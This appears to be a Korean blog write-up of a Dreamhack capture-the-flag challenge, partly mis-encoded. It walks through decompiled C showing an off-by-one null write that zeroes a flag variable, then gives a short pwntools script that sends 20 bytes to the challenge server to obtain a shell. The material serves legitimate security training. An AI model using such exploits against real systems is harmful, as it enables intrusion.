int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[20]; // [esp+0h] [ebp-18h] BYREF
int v5; // [esp+14h] [ebp-4h]
v5 = 1;
initialize();
printf("Name: ");
read_str(v4, 20);
printf("Are you baby?");
if ( v5 )
{
puts("Ok, chance: ");
read(0, v4, 20);
}
else
{
get_shell();
}
return 0;
}
|v4(0x18)|v5(0x4)|SFP|RET|
v5μ΄ 0μ΄λ©΄ get_shell ν¨μ μ€νλμ΄μ μ μ»μ μ μμ.
κ·Όλ° v5=1λ‘ μ€μ λμ΄ μκΈ° λλ¬Έμ μ΄κ±Έ μ‘°μν΄μΌ ν¨
int __cdecl read_str(int a1, int a2)
{
int result; // eax
int v3; // [esp+0h] [ebp-4h]
v3 = read(0, a1, a2);
printf("%d", v3);
result = v3 + a1;
*(_BYTE *)(v3 + a1) = 0;
return result;
}
v3 = read(0, v4, 20) ⇒ read() ν¨μλ μ±κ³΅ μ μμ ν λ°μ΄νΈμ(20), μ€ν¨ μ -1
|result(0x4)|v3(0x4)|SFP|RET|
result = v3 + a1; (v4μ£Όμ+20) ⇒ mainν¨μμμ v5 λ³μ μμΉμ΄λ€.
*(BYTE *)(v3 + a1) = 0; ⇒ v5 μμΉμ 0 λ£μ ⇒ μ΄ν if(v5)μμ v5κ° 0μ΄ λμ΄ μ μ»μ μ μμ
λ°λΌμ λ³λ€λ₯Έ μ‘°μ μμ΄ μ²μ μ λ ₯ μ 20λ°μ΄νΈ μ λ ₯νλ©΄ v5 κ°μ΄ 0μΌλ‘ μ€μ λμ΄ μ μ€νν μ μλ€.
μ μ€ννκ³ cat flagλ‘ νλκ·Έ μ»μ μ μλ€.
#!/usr/bin/python3
from pwn import *
p = remote('host3.dreamhack.games', 23831)
payload = 'A'*(0x18-0x4)
p.sendafter(b'Name: ', payload)
p.interactive()
[Dreamhack] Return to Shellcode (0) | 2024.03.03 |
---|---|
[Dreamhack] Return Address Overwrite (0) | 2024.03.01 |
[Dreamhack] bof (0) | 2024.02.16 |
[Dreamhack] pwn-library (0) | 2024.01.10 |
[Dreamhack] shell-basic (2) | 2024.01.10 |